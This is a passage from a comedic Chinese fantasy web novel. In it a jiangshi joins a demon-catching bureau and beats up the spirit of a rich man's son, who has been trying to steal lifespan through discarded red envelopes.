“今晚就走!啊……等等,”辛姬忽然想起什么,转身就往外走,“我得去跟杨经理再要一次工资。”
上次那3150块钱洒了杨经理办公室一地,当时情形急迫,辛姬没敢捡。
但今时不同往日——她马上就要从社会闲散妖员变成一个通缉妖犯,逃亡路上,还是得多备点资金!
——————
“啪!”
张局长一把把卷宗摔在桌子上,又白又圆的脸盘子气得通红,胸膛连带着啤酒肚一块儿剧烈起伏,一整个勃然大怒:“我说多少遍了?做好妖口普查,把外来妖怪犯案这种事从源头掐灭——一个二个都不放在心上,现在好了,区区一个僵尸,犯下这么多起案件,现在还搞出了外交事件,你们说,这下怎么收场?”
张局长对面,相比秦英和郑清心站姿笔直,皮貅多少显得有些吊儿郎当。
“我们不是都已经把凶僵给抓住了吗?”
“抓住有什么用?那僵尸脑子都糊了,哪来的、目的是什么、背后还有没有同伙……一点有用的信息都问不出来!”张局长指着皮貅怒斥,“这种僵尸怎么拿出来跟大家交差?不知道的还以为咱们捉妖局故意抓了个啥都不懂的僵尸来糊弄过关呢!”
皮貅还想驳嘴,被张局长怒目一瞪,只好咽下不吭声了。
张局长额角一阵突突,他喘着气平复了一会儿,才继续说道:“现在杰女士联系了她部落所有的萨满招魂,谁都没办法招出来那个杰西的魂。”
郑清心和秦英闻言,不约而同看向皮貅。
皮貅声音冷冽:“看我干嘛?我又不会招魂儿。”
说到招魂,张局长忽然想起什么,赶紧从桌底下的尼龙袋子里数出一把线香,又掏出个打火机使劲儿燎,燎完之后跟举了把火炬似的,他站在占据了一整墙的祖宗牌位前头,边给祖宗牌位分线香边絮叨。
“平时我就跟你们说,要多跟祖先交流,现在也不至于找个魂魄这么难,杰女士现在强烈要求永不撤案,不管是10年、20年,我们都得把她儿子的魂给找出来。”
“得嘞,”皮貅一扯嘴角,高级符篆还在他的裤兜里发烫,他吊儿郎当一点头,“不管花10年还是20年,我一定把这事摸清楚。”
张局长扭头瞪了皮貅一眼:“说一句顶十句,现在的问题是,杰女士要一个人站出来负全责,否则她就要带你们其中一个回部落,你们仨说,把你们谁交出去?”
跟杰女士搭上关系……这不就是皮貅绞尽脑汁想要的结果吗?
郑清心和秦英又一次齐刷刷看向皮貅。
皮貅是想获得杰女士的赏识——但不能是在远离人烟的原始部落。
他慢悠悠开口道:“其实这次事件吧,主要是一个临时工犯的错……”
临时工郑清心唰一下扭头,不敢置信地看向皮貅。
背叛、惊愕、愤怒……种种情绪伴随着血液瞬间冲上郑清心的脑壳,他感觉手脚冰凉,眼前阵阵发晕。
下一秒,耳畔却传来皮貅掷地有声的话语。
“这个临时工的名字叫——辛姬!”
郑清心的小心脏直线坠机落回胸膛的同时,张局长疑惑发问:“什么临时工?你们组临时工不就只有一个郑清心?”
皮貅张口就来:“很多人不知道,辛姬是我的外聘僵尸助手,其实我之前破获的很多案子都有她的功劳,她是八组的隐身外挂,是屡破奇案的无名英雄……”
“停停停,”张局长懒得听这些神神叨叨的话,直接问,“你到底想说什么?”
皮貅理直气壮:“这次行动失误全赖她,所以她负全责!”
张局长:“……”
不管怎么说,有人负责就行——哪怕负责的不是人。
最后一切如皮貅小算盘打得那样,八组全员置身事外,临时工辛姬负担全责,留职停薪仨月。
张局长的训斥结束之后,八组的三人从办公室退了出来。
郑清心欲言又止地看着皮貅慢悠悠散步的背影,终于还是忍不住开口:“组长!”
皮貅瞬间扭头。
郑清心感动开口:“刚才……”
刚才在张局长办公室里,天知道他有多么害怕,听到皮貅把错推到临时工身上时,他眼前浮现出的,是全村老少期待的目光,父母殷切嘱咐的场景,爷爷在他背上刻“软蛋硬起来”时谆谆教导的模样……
他在刻板印象的加持下,还以为组长会把他推出来顶锅,但,组长没有!
千言万语汇成一句话,郑清心感激涕零道:“组长,谢谢你!”
“少来这些虚的,”皮貅按上郑清心的肩头,皮笑肉不笑,“以后知道该听谁的了?”
皮貅的表情实在邪恶,郑清心感动暂停,讷讷应和:“……知道了。
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”
得到满意的回复,皮貅满意转身,还没迈开步子,又听郑清心期期艾艾开口。
“组长,抓到的那个凶僵……会怎么处置?”
皮貅想了想,神色如常:“她犯了这么多案子,估计会被送到白色房间吧。”
郑清心打了个寒颤,他听说过白色房间,那是捉妖局人道毁灭那些穷凶极恶的妖怪的地方,只不过他加入的时间太短,从没去看过。
皮貅突然脸色一变:“糟了!”
郑清心倏然一惊:“怎么了?”
皮貅不语,转身径直走出二里地——
他得趁局长没反应过来赶紧把他的“外聘助手”请回来,否则顶锅的人跑了怎么办?
至于什么凶僵,什么白色房间,全被他抛到了脑后。
————
白色房间。
“嘎吱”一声,房门关闭,整个房间白茫茫一片,肉眼看不出任何棱角和色彩。
曾被辛姬和皮貅暴力撕扯的凶僵平躺在床上,浑身被束缚带层层包裹固定,唯有脑袋吃力地仰着。
她保持这个姿势已经四五个小时了,原本就丧失生机的身体此刻更是被剥夺了所有感官,唯有眼皮还能缓缓开阖。
头顶白炽灯光芒刺眼,随着她眼皮缓慢眨动,整个世界忽明忽灭。
忽明,忽灭……
忽明。
恍惚间,白炽灯仿佛和灼热的太阳融为一体。
宛如千年前的一个下午,烈日光芒落在身上,她僵硬的身体却感受不到一丝暖意。
额前符咒被风吹的哗啦作响,每当掀起一角就露出如天般遥不可及的高台。
忽然符咒扬起,她对上了一双悲悯的眼睛。
凶僵呆滞的眼睛微微放大。
她想起来了——她们果然见过。
“唰——”
光线一瞬间湮灭。
————
虽然白天才发生了一起命案,但辛姬到达夜总会时,这里已经一切如常。
深夜,灯红酒绿,音浪响亮,舞池人头攒动,是她熟悉的工作环境……可惜以后都回不来了。
辛姬摸着调酒台,小小遗憾了几秒,余光瞥见杨经理晃着圆滚滚的身躯出现在舞池边缘,她立刻抻胳膊招手,大声呼喊:“经理!”
杨经理受了惊吓,刚请好假,准备回家老婆孩子热炕头,回头看到辛姬之后顿时脸色大变,跟见了鬼似的。
眼瞅着辛姬在人群中艰难穿梭逼近,杨经理赶紧掏出手机打电话:“喂,皮老爷是吗?哦哦该叫您皮警官……那什么,你们刚抓走那逃犯她又来了……什么?让我拖住她?我怎么……喂?喂!”
辛姬走到杨经理面前,搓着手试图搭话:“杨经理,上午我那3150块钱掉在您屋头了,您看能不能……”
提起上午,杨经理就想到那枪林弹雨,那脑袋里沉浮的菊花茶,那压抑那苦那命案啊……
杨经理脑门充血,一把按住辛姬的手:“别说了,给你,我都给你!”
想起皮老爷的嘱托,杨经理话音一转,伸手握住了辛姬的手:“不过……你得站好最后一班岗!”
辛姬满脸懵逼:“什么岗?”
“别问!”杨经理到底是个管理层,语气中自带一股高高在上的爹味儿,如同夜总会皇帝,“先站再说!”
8. 千年情缘
半个小时后,辛姬金鸡独立站在调酒台旁,手上端着个托盘,托盘里还摆着满满一盘子试用装小参酒杯。
不远处,杨经理躲在调酒师身后死死地盯着辛姬,目光如炬,辛姬不由得沉思。
事情是怎么发展到这一步了……还有,那个人又是怎么回事?
辛姬转头看去。
只见皮貅独占一个大卡座,桌上摆着瓶天价威士忌,他举杯啜饮,喝一口,就看辛姬一眼,再喝一口,再看一眼……
那深沉的目光,简直令僵毛骨悚然,辛姬脑袋跟团麻线球似的乱得不行。
这道士不会是察觉她要跑路,所以过来堵她的吧?
想到这里,辛姬心里咯噔一声。
“啪!”
酒杯被重重砸在桌上,那清脆的撞击声顿时令辛姬浑身一颤,她扭头看去,就见皮貅大跨步走了过来。
辛姬心下一惊,扭头就想跑,然而脚还没落下,皮貅的身躯已经瞬间堵在了眼前。
皮貅垂眸看着辛姬,一言不发,辛姬不由得越发忐忑。
这道士到底是啥意思?难道……捉妖局真要清算她以前犯过的案子?
辛姬心虚的眼神四处乱瞥,脑海中瞬间开始细数那年那僵那些犯过的事杀过的人……
然而她的脑子实在不好使,打过的架还有点印象,得罪的仇家反而一个都不记得,这下连自辨都说不出口。
“砰!”
皮貅突然捶了一下调酒台,看向辛姬的眼眸中盛满沉痛,声音嘶哑情绪饱满:“你……你怎么在做这个?”
辛姬一时间被他话中长辈般的慈爱和惋惜镇住,惊疑不定地看着皮貅,电光火石间想起辛德曾说过的话——
“公主,你脑子不好使,要是有什么听不懂的话,千万别轻举妄动——以不变应万变。”
现在就是这种时候。
辛姬直接一声不吭装哑巴。
那边皮貅神色凝重眼神炽热,显然已经入戏:“一千多年以前,你是不是在江都附近活动?”
都过去一千多年前了,她东躲西藏流窜那么多年,哪记得住这个?
辛姬胡乱点头:“是的吧?”
皮貅心里一松,暗自称赞自己来之前还调了辛姬身份的智慧之举。
皮貅似乎感慨颇深:“我的祖先当年也在江都附近生活,也许你们当年曾有过一面之缘……毕竟哪个僵尸没有几个道士朋友呢?”
辛姬面上不显,暗自摇头。
她躲道士还来不及,怎么可能跟道士做朋友——就像她和皮貅。
他是兵她是匪,他是官她是贼,就现在,她得跑!
想到这里,辛姬的眼珠滴溜溜打转,从酒吧出口转到二楼vip又转到舞池中那些摇曳拥挤的人群上,暗自规划着逃跑路线。
“我们祖上毕竟有渊源,我有义务帮你融入人类社会。”皮貅慈爱开口,“你虽然身体年龄大,但心智不一定比我健全,按心理年龄来算,你合该喊我一声——叔叔!”
……呵呵,信这套说辞的,这辈子有了。
辛姬心里这么想,但也不想惹上一个睚眦必报的小心眼道士,睁着天真的大眼爽快开口:“大貔貅叔叔。”
这一声又脆又响亮,不远处的DJ仿佛收到了某种神秘的召唤,小手一擦,劲爆舞曲瞬间响彻酒吧:“大貔貅,大貔貅,大貔貅,大貔貅……恭喜发财,送你个大貔貅……”
皮貅一顿,丝毫不受影响,继续温柔劝导:“哎,别在这乌烟瘴气的地方混日子了,跟我走……”
走个屁!她才不要蹲大狱!
辛姬刚瞅着个人群缺口,怪笑一声就想跑,却忽然听见皮貅的下一句话——
“我给你介绍个工作,前途无量的铁饭碗,还有六险一金呐!”
六险一金?
辛姬逃窜的动作一下子停了,她思绪纷飞,忽然想起了当年。
那时候,华夏刚推出五险一金政策,她和辛德还在路边炸糖糕,看着纺织厂炼钢厂的正式职工们从社保局喜气洋洋走出来,辛德眼中满是羡慕。
夜深人静的时候,辛德点着蜡烛,看那些刊登了五险一金政策的报纸,一遍又一遍,辛德摩挲得报纸都起了毛边……
她又想起来,忠义吃糠咽菜就为了做手术,同病房的人术后报销百分之八十,而忠义术后缴费比例百分百。
就因为他们没有身份证,这些一般人早就享受到的福利,他们怎么也享受不到,现在好不容易有了身份,难道他们又要跑去异国他乡,再受一次没有身份的苦?
不,不!
辛姬攥紧拳头,眼中满是坚定。
她是公主,是这个家的顶梁柱,她要给子民最好的生活,要带着他们堂堂正正做人、享受六险一金,她——要养活她的家庭!
辛姬“啪”地一下把参酒摔在地上,浑身热血沸腾:“皮貅叔,我跟你走!但我们话得先说明白——六险一金,少一个都不行!”
皮貅:“……”
六险一金,他自己都没有。
然而对上辛姬炽热坚定的目光,皮貅还是咬着牙点头:“行!”
辛姬主动将手送到皮貅手中,皮貅拽着辛姬就要走。
躲在暗处的杨经理看见这一幕,简直开心坏了。
结果俩人没走几步,辛姬忽然转头,一路小跑回来。
此时的辛姬,已经不再是那个临时劳工,她趾高气昂,浑身充满社会主义合法公民的气势:“小杨,我要离开这个黑暗的地方,我要、我的钱!”
杨经理被去而复返的辛姬吓得花容失色,眼看着皮貅过来,他顿时感觉神兵天降,又有了底气:“呵!”
自有人为他主持公道!
结果皮貅站到辛姬旁边,责怪地看过来:“呵什么呵?怎么还不给她?”
杨经理:“……”
————
辛姬忽然说不去墨X哥,辛德本还有些忧虑,但一听到六险一金,立马羡慕地眼睛都直了。
第二天辛姬就搞了身隆重的小西装去上班。
一走进捉妖局大楼,周围路过的人纷纷侧目,皮貅悠闲地走过来,上下一打量,凉凉道:“你是干活的,穿这么隆重干嘛?打工要有个打工的样子。”
辛姬看了眼皮貅那勾勒着胸肌的V领衬衫,再低头看看对方一丝褶皱也没有的西装裤,不由得腹诽。
这道士好像没有资格说她吧?
但以后还得在皮貅手底下讨生活,辛姬此刻也只敢腹诽。
皮貅懒得带新人,领着辛姬直奔工位,介绍简单得很。
“那是厕所,这是工位,这俩是你的同事,咱们单位全名是‘姚京街道办’……”
辛姬好歹是来背锅的,皮貅懒洋洋解释道。
“这是面对普通人的说法,咱们自己就喊捉妖局,跟其他部门交接的时候就说是‘特殊案件处理科’……反正你看其他人怎么说你就怎么说吧。”
“我们八组工
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作非常简单,日常就待在局里整理悬案,偶尔出去跑个外勤巡个逻,只有一点必须牢记……”
辛姬还是头一次正经参加工作,闻言不由得紧张起来:“什么?”
皮貅华丽转身,指着捉妖局大厅那块写着“姚京街道办”的牌子挥斥方遒意气风发:“整个局里,我是老大,万事都要听我的指挥!”
皮貅身后,端着搪瓷杯路过的张局长脚步一顿,随即微笑着翩然离去:“呵呵。”
皮貅:“……”
他顾不上辛姬,膀子一甩立马追了过去:“局长您今天这么早上班?您歇着吧,我来帮您点香!”
辛姬看看环绕着张局长转来转去表情谄媚的皮貅,再扭头看向两同事:“他是老大?”
郑清心不语,秦英微笑着叮嘱:“上下班记得打卡。”
朝九晚五,作息规律——对于辛姬这种昼伏夜出的老僵尸来说,简直是地狱般的生活。
没上几天班,她身上笔挺的小西装就换成了T恤大裤衩,她还整天整天缺觉掉头发,走路上班的路上都在打飘儿。
要是捉妖局里能有口棺材就好了,没事还能进去眯一会儿。
实在不行她自己打一口送过去也行。
辛姬正打着旋儿摇摇欲坠,面前忽然抻出条胳膊,她蔫蔫抬头,就见对面站着个中年大姨。
中年大姨颧骨凸起,面露刻薄,微眯着的眼中闪烁着精光,朝着辛姬看了又看,满意得不得了:“小姑娘,你看这是……”
路上被人拦住这事儿,辛姬可太熟了。
她立马摆手,目光避过大姨的胸膛:“不买碟,没有那种世俗的欲望,一张都不买。”
中年大姨:“……”
辛姬抬脚就走,生怕对方死缠烂打,眨眼就要跑出二里地。
中年大姨再顾不上什么铺垫啊话术啊佯装无意啊,指着路边的草丛大喊:“天呐!这是谁落下个大红包?!”
中年大姨话音未落,辛姬就蹭蹭蹭跑了回来,一个猛子扎进路边草丛。
目的达成,中年大姨小嘴一歪,还没来得及窃喜,就见辛姬身影忽隐忽现在草丛中七进七出,顺藤摸瓜般“啪啪啪”几下,连带着把那一片儿的红包都摸了出来。
中年大姨:“不儿……”
那是留给其他人的!
辛姬一把把红包塞进兜里,扭头跑出去二里地,至于在后头扯着嗓子呼喊扬着胳膊从猛追到放弃的中年大姨——
辛姬:不清楚,不知道,俺啥也没看见。
被捡红包耽搁了一会儿,辛姬本就不宽裕的上班时间瞬间被压缩,她紧赶慢赶才赶上最后一秒打卡,一坐到工位上就坚持不住,“咣铛”一头栽倒在工位上,瞬间陷入梦乡。
梦里什么都有,辛姬扛着大锤小锤金丝楠木板,坐在捉妖局大厅地上叮叮咣咣打棺材,成品那叫一个温暖舒适宜人居住。
完工之后,辛姬一抹额头热汗,正要跳进去大睡特睡,忽然面前出现个脸色青灰萎靡不振的陌生丑男。
那男的上下扫视辛姬几眼,似乎在纠结什么。
“挡着我睡觉了,起开!”
辛姬入睡的欲望越发强烈,迫不及待把对方扒拉开,手掌触及对方的同时只觉一阵湿冷,而对方仿佛下定了某种决心,缓缓张口:“老婆。”
辛姬:???
辛姬直接扬起了正义的铁锤,大怒:“婆你大爷!”
什么丑男人,也敢来沾老娘的边?!
9. 红包已拿
辛姬这人,怎么说呢,脑子不好使,但有一把子力气。
铁锤重压当前,陌生丑男没扛几下就嗷嗷直叫:“啊!你怎么伤得了我?!不!不可能!哎哟!”
辛姬臂膀上的肌肉纹理分明,显然蕴藏着强大的力量,表情俾睨中还夹杂着几分自豪。
“老娘以前可做过铁匠,打你这种弱鸡,我有的是力气和手段!”
辛姬抡圆了膀子,正要再发出雷霆一击,忽然感觉两只手腕一凉,陌生丑男瞬间凑了过来。
“红包已拿,契约已成,”他眼神阴恻恻的,唇角上扬勾起露出一个诡异的笑容,“这寿命,你今天不借也得——诶?诶?!”
辛姬也不知道发生了什么,对面的陌生丑男忽然迅速瘪了下去,一阵浓郁阴气自两人交叠的手掌传来,这味道,醇香,浓郁……辛姬一个激灵,简直浑身舒爽,赶紧主动握住了丑男的手。
美味小点心都主动送上门了,她哪能放过?吃!大吃特吃!
于此同时,京市另一头,某家私人医院的VVVIP病房中。
床头的标识牌上写着“顾珂”两字,病床上的青年浑身插满管子,双目紧闭,除了微弱的呼吸,再没有其他活着的象征。
旁边的检测仪器发出平稳而规律的滴答声,一对穿着考究、头发花白的老夫妻神色忧虑地坐在病床旁。
安庆兰面容憔悴,看着病床上的青年直抹泪,老伴顾泉河按住她的的肩膀,低声安慰。
“红包都已经散出去了,只要小珂动作快,马上,马上他就能醒过来了。”
提起红包,安庆兰眼底闪过几分不安,但视线触及病床上一丝生机也没有的顾珂,她到底是没吭声。
“哔哔哔——”
检测仪器忽然爆发出尖锐的响声,与此同时,原本平静躺在病床上的顾珂跟鲤鱼打挺似的一个劲儿打摆子。
安庆兰失声尖叫:“医生!快救救我儿子……”
一大群医生护士就冲进来展开了急救。
“呲呲!”
几下电击之后,顾珂终于平静下来,医生护士还在忙碌地检测着病人的各项生理数值。
忧虑的老两口突然不约而同瞪大双眼看向了身旁。
刚才在辛姬梦里被铁锤暴击的陌生丑男魂魄站在哪里,撇去脸上青紫,模样赫然跟病床上那个叫顾珂的青年一模一样。
顾珂咬牙切齿,喉头发出的声音除了老两口压根没人能听见:“爸,妈,我被人打了,命也没借到,寿命还反被对面的吸走了……但没关系,我再顺着其他红包去看看。”
说完,他身影瞬间透明,消失不见。
还好,还好只是被人打了。
老两口心下一松,还没来得及坐下。
“哔哔哔——”
尖锐刺耳的声音再次响起,病床上的顾珂再次成了打挺鲤鱼。
老两口:“……”
医生一抹脸,拿着除颤仪就按了上去。
七次,顾珂整整打挺了七次才终于平静下来——主要是他的肉身实在承受不住电击的重创了。
顾珂看着病床上自己焦黑的胸膛,咬牙切齿道:“白天克我,我养养身体,晚上再出去!”
他就不信,那么多红包,就只有那个女的自己捡了!
————
“……辛姬……”
“辛姬!”
辛姬身体一坠,猛地坐了起来。
皮貅正抱臂站在辛姬面前,眼见她原本歘白的小脸睡得红润有光泽,跟剥了皮的鸡蛋似的,顿时冷笑:“睡眠质量挺好哇,我喊你那么多声都听不见?赶紧准备准备妖口普查去。”
皮貅说完就走,只留辛姬坐在原地发愣。
奇怪,怎么感觉她梦里好像一直在吃什么补品?她到底做了什么梦来着……
辛姬拧眉思索的模样看在郑清心眼里,顿时变成了不情愿的意思。
要是没有辛姬,那现在要被留职停薪的恐怕就是他了。
郑清心本就对辛姬心存愧疚,见状主动道:“你是不是不想出门走访?我替你去吧。”
辛姬扭头,幽幽看着郑清心。
她本就对他余情未了,他又这么贴心……
辛姬本该按流程再怀念一下那田埂地头庄稼汉,但她实在是太困了,能做的只有从兜里掏出红包——早上她捡来的八个红包中的一个——塞进郑清心手中:“谢谢你!”
郑清心还想摆手推辞,却见辛姬“咚”一下脑袋又砸到了桌上,趴着一动不动,不知道是睡了还是死了。
他只好将红包放进兜里,出门干活儿。
————
午夜十二点,狂风大作,正是夜黑风高杀人时。
顾珂养精蓄锐完毕,迈着魔鬼的步伐,顺着红包的连接入梦,一睁眼,看到不是那被揍了无数次的办事大厅,而是一个山清水秀的小山村,顿时松了口气。
不远处,一道消瘦模糊的身影出现,顾珂心下一喜,快步上前:“老……”
对面一转身,赫然是一张阳刚的脸。
怎么是个男的?!
顾珂被对面那身腱子肉吓得连连后退,心中惊疑不定。
不儿,现在怎么办?难道他要跟一个男的喜结连理?这怎么能行……
嘶,但话又说回来,只要不是白天猛猛锤他的那个女的,男的……
看着也挺正常,男的也行!
顾珂一咬牙,展开双臂大义大声呼唤:“老婆!”
“唰!”
一道强劲掌风擦过顾珂的脑壳,瞬间将他的头顶削出一个完美的地中海,顾珂身形猛地一僵,眼睁睁看着对面那人拳脚利索虎虎生风、转瞬间武学大招频出。
什么锁喉勾拳连环脚,太极咏春八卦拳,那人所到之处一脚一个坑。
白天的阴影犹在,顾珂心中陡然生出不好的预感,转身就想跑,结果还没跑出两步,只听背后一阵脚步声——拳头如暴风雨袭来,顾珂被打得嗷嗷叫唤。
“啊!啊!!!”
为什么一个二个都要打他!
“咣铛!”
一通组合连招下来,顾珂被打得头晕目眩倒在地上,两行清泪跟喷泉似的飙出。
刚才那看起来十分正常的阳刚男子冲天就是一顿叉腰狂笑:“哈哈哈哈!我学成了!我学成了!我郑清心今日学成出山,誓要成为八组组长,哈哈哈哈!”
“我要制服天下的妖怪!我要撕碎所有的恶魂!哈哈哈哈!”
大家在梦里怎么都这么残暴?!那神婆指定是有啥问题,红包怎么都塞给了这种人?!
顾珂艰难翻身,拖着伤痕累累躯体就想逃跑,还没爬出去几步,就觉自己的脚脖子被攥住,他惊诧扭头,正对上郑清心闪着凶光的眼眸。
“落到我手里了还想逃?”郑清心桀桀冷笑,“回来接受惩罚吧你!”
夜深人静,顾氏豪宅。
顾氏老两口躺在床上睡得正香,安庆兰忽然打了个哆嗦,猛地惊醒。
她一推身边老伴儿,惊疑开口:“老顾
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,老顾!你听……是不是有什么声音?”
“这大半夜的,哪儿有什么声音?”
顾泉河一翻身,正要继续睡,耳边却忽然传来一阵微弱呼唤,他猛地睁眼,凝神辨别。
“……妈……爸,妈……”
顾泉河一骨碌坐了起来:“小珂?是你吗小珂!”
安庆兰喜极而泣:“是小珂回来了?他在哪儿呢?”
顾珂微弱的的声音就在耳边回荡,两人却怎么也找不见,急得翘脚,安庆兰忽然似有所感,低头一看,就见一个半米高的树桩似的东西蹲在床沿边上。
安庆兰大惊:“小珂!你这是怎么了?!”
“妈……”树墩子赫然是顾珂被捶打至Q弹紧实的肉、体,此刻顾珂的脸被捶成平面图,顶在那树墩子上方,眼皮一眨,热泪哗啦啦往外流,“快把红包要回来……快把红包要回来……”
顾珂呜呜咽咽哭得瘆人,顾家老两口更是不好受:“这、这红包都是林嫂随便扔出去的,妈上哪儿给你要去啊?”
顾珂还是哭:“他们一个劲儿地打我,我实在扛不住了!你看他们把我捶成什么样了!”
“要!妈这就给你要回来!”安庆兰心疼道,“儿啊,她们有什么特征?住在哪儿?你跟妈说,妈给你做主!”
顾珂哽咽着说了几句辛姬和郑清心的外貌,然后道:“住哪儿我不知道,我就知道那俩身上的味儿闻着味道差不多,好像是一个地儿出来的……”
————
第二天一大早,皮貅哼着小曲儿走到捉妖局门口,还没来得及推门,就被一对老夫妇挡住了路。
“你好,我叫顾泉河,”顾泉河和气伸手,“你是姚京街道办的员工吗?”
顾泉河?京市有名的大富豪?
专注敛财一百年的皮貅早把本市富豪榜背了个遍,不动声色地挑了下眉,礼貌又不失热切地握住对方的手:“你好,你找谁?”
顾泉河缓缓道:“是这样的,我在这附近有一些房产,之前跟姚京街道办的工作人员打过一些交道,知道基层员工工作辛苦,我就想着为姚京街道办投资一笔赞助,算是我们顾家赠送给大家的一些福利,小伙子,这事儿你知道该找谁谈吗?”
皮貅意味深长地“哦”了一声,道:“投资给赞助是吧?找我就行,我可以直接上报给局长,那你投资有什么条件吗?”
眼见顾泉河还想打官腔,一旁的安庆兰急得不行,直接将顾珂的描述一字不落迅速说出口:“我们要找一个长得不咋地、脸像盘子一样圆的女人,还有一个特别暴力、特别健壮的男人……那男的打人时胳膊上青筋暴起,还有颗痣!”
女的不咋地,男的还暴力……
皮貅的视线在顾氏老两口之间来回转动,意味深长:“哦~懂了。”
XP很抽象啊。
不过他以前在国外待过,见过的炸裂事更多,倒也不是很吃惊。
皮貅对富豪亮出最真诚的微笑,直抒胸臆:“你们能给多少钱?”
安庆兰豪横开口:“一千万!”
皮貅直接拉开捉妖局大门:“两位里边请。”
等顾泉河和安庆兰急不可耐地走进去,皮貅直接点开公司大群发消息——
【皮貅:会议室,想赚外快的来。】
【张局长:???】
【张局长:你个小[哔——]老子今天非得把你[哔——]】
【皮貅:给一千万。】
【张局长:照顾好贵客,我马上到。】
10. 不够暴力
辛姬推门走进会议室,才发现屋内只站着零零星星几个人,氛围略显冷清,显然皮貅的人缘并没有好到一呼百应的地步。
然而顾氏老两口在看到辛姬之后却激动地站了起来:“这个好,这个好!之前那些女生都没这个脸圆!”
辛姬骄傲地扬起脸。
那是当然!她当年可是有名的面若银盘,举国上下人人夸赞呢!
顾氏老两口一肯定点头,皮貅立马把辛姬拽了出来,吆喝着让手臂上有痣的男同事上前。
辛姬探头探脑:“不是说赚外快吗?怎么赚?上哪儿赚?”
“急什么?”皮貅刚说了一句,瞥见顾氏老两口拧眉不语,立马上前,“您二位看起来不太满意,是有什么问题吗?”
顾泉河开口吐出四个字:“不够暴力。”
……这是会议室,又不是你们顾家大床,怎么暴力?有钱人真难伺候!
皮貅心中腹诽,面上笑容分毫不减,转身走到会议室另一头端着搪瓷杯悠闲看戏的张局长身旁:“怎么整?”
投资当前,张局长脑筋转得飞快,他沉思片刻,一咬牙:“把局里那几个长相凶残的,什么豹子精、老虎精、凶煞之类的都给叫过来!”
怪不得说英雄惜英雄、变态吸变态,这五十来岁的老男人就是能精准切中同类心理。
皮貅比了个大拇指,扭头就走:“还得是您!”
与此同时,辛姬站在角落百无聊赖等安排,旁边忽然传来一道慈祥的声音。
“小姑娘。”
辛姬一扭头,就见安庆兰笑呵呵看着自己。
“屋里太闷了,你陪阿姨出去转转吧?我也参观参观你们工作的地方。”
这大白天的,还是在街道办,有什么好转的?简直是虐待僵尸……但对面可是财神爷。
辛姬叹了口气,蔫哒哒点头:“行吧。”
两人从会议室中出来,辛姬上行下效,简单介绍:“这是厕所,那是我的工位,最那边是身怀绝技收敛师的冷藏库……”
安庆兰边点头边发出敷衍的语气词,眼神一刻都没从辛姬身上离开过:“小姑娘,你叫什么名字?今年多大?是不是本地人啊?父母是做什么的?”
这话听起来怎么有点耳熟?
辛姬脚步一顿,回想片刻,忽然恍然大悟,一拍掌笃定道:“你是来查我户口的吧?”
这老太太刚才问的问题,跟她办身份证时工作人员问的一模一样!
安庆兰愣了一下,随即笑着摆手:“没有没有,我只是看你投缘,所以多问了一些……话又说回来,小姑娘,你最近有没有见到什么红包啊?”
竟拿这种问题考验干部?
辛姬斩钉截铁摇头:“没有。”
安庆兰面露狐疑,但看到辛姬的圆脸盘,神色又笃定起来:“你跟我说实话。”
辛姬理直气壮:“从来没有。”
安庆兰顿了几秒,想到什么,立马换了套说辞:“你别怕,我没有其他意思,在我们老家那边,这种路边散落的红包是别人散出来的福气,所以我才跟你问问看。”
“福气?”辛姬瞥了安庆兰一眼,面露奇怪,“那不是用来借寿的吗?”
安庆兰眼中闪过几分心虚,仍然嘴硬道:“一个地儿一个风俗,我们老家跟这边不一样……哎小姑娘,你到底有没有捡到过红包?我高价跟你买行吗?”
奇了怪了,这种折寿红包还有人想要,不怕死啊……等等,正好她有,这老太太想要就给她呗!
辛姬眼珠子一转:“你能出多少钱儿?”
安庆兰听出门道,大手一挥豪横道:“一个红包,我十倍收购!”
辛姬精神一振,扭头就往外跑,边跑还边扭头嘱咐:“我立马拿过来!你等着!”
十分钟后,辛姬揣着红包跑回来,直接往安庆兰手中一塞。
安庆兰看看手里那厚厚一沓大小不一花色各异的崭新红包,又看看辛姬,讷讷开口:“这么多啊?”
辛姬仪式感十足地抹了把汗:“是啊。”
门口小超市里的红包都叫她包圆儿了,可不是多嘛!
安庆兰一时间有些犯难——丢红包这事儿她直接交给林嫂一手包办,现在压根认不出来哪些才是她儿子的夺命红包。
偏偏辛姬还在一旁施加压力:“这里有二十三个红包,每个里头都包着一百块钱儿,这福气你要不要?不要我可拿走了。”
“要!”安庆兰一咬牙,“你留个账户给我,我回头就叫公司打给你。”
“回头?呵呵,”辛姬直接掏出手机,“别介,现在就给,我有支X宝。”
安庆兰眼睛还盯着红包上,试图找出重要的那个,敷衍地把手机抬起来,单手操作慢得一批。
辛姬急得不行,鬼鬼祟祟观察四周,生怕被谁看见,一回头看见安庆兰还在慢吞吞输数字,索性一把躲过手机:“我来!”
安庆兰心思早不在转账上了,这会儿乐得放手。
辛姬输入银行卡号,瞥了一眼摩挲着红包显然对“福气”爱不释手的安庆兰,飞快地在原本的转账数目上多按了一个“0”,然后将屏幕偏向自己,往安庆兰那边凑,嗓音低了八个度:
“验个指纹。”
安庆兰不疑有他,直接伸手。
“滴”的一声转账成功,辛姬和安庆兰脸上齐齐浮现出得逞的笑容——
爽啊!
要回来红包之后,安庆兰对辛姬的兴趣顿时锐减,两人直接回了会议室。
一推开会议室的门,浓烈的汗臭味扑面而来,辛姬在角落站定,定睛一看——
嚯!会议室中央正表演胸口碎大石,豹子精石举高锤,胳膊上的腱子肉块块分明,那叫一个高大威猛孔武有力。
顾泉河显然遭受了许多摧残,瞥了眼豹子精狰狞的脸庞就熟练地捂住了心脏自我安抚。
安庆兰却还是头一次直面这凶恶脸庞冲击,顿时偏头不愿再看:“这、这也太暴力了。”
张局长:“……”
一会儿说不够暴力,一会儿又说太暴力,有钱人真难伺候!
恰巧郑清心见缝插针来送茶,顾氏老两口的眼睛刚被暴力摧残,这会儿看见这低眉顺眼的清秀小白脸,一下子感觉被净化了,不由自主盯着郑清心看。
张局长到底经验丰富,见状立刻让豹子精等人离开,扬声招呼:“郑清心,你来打个拳什么的,也叫顾先生和顾太太看看咱们街道办积极向上的精神面貌。”
郑清心一头雾水:“啊?”
但见张局长眼神催促,他只得放下托盘走到正中央
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,慢吞吞脱下运动外套,露出贴身黑背心,然后朝着观众们羞涩一笑。
这么清瘦白嫩一小伙子,能有多暴力?
顾泉河露出失望的表情,微微偏头低声道:“你说,是不是小珂搞错了,要不咱……”
他话音未落,情况骤变。
只见郑清心脚步一迈,落地如生根,双拳强劲虎虎生风的同时身形拧裹钻翻,扎实牢靠的武术功底顿现,越打神色越狰狞:“我要杀尽害人妖魔!我要铲除天下恶鬼,我要当八组……”
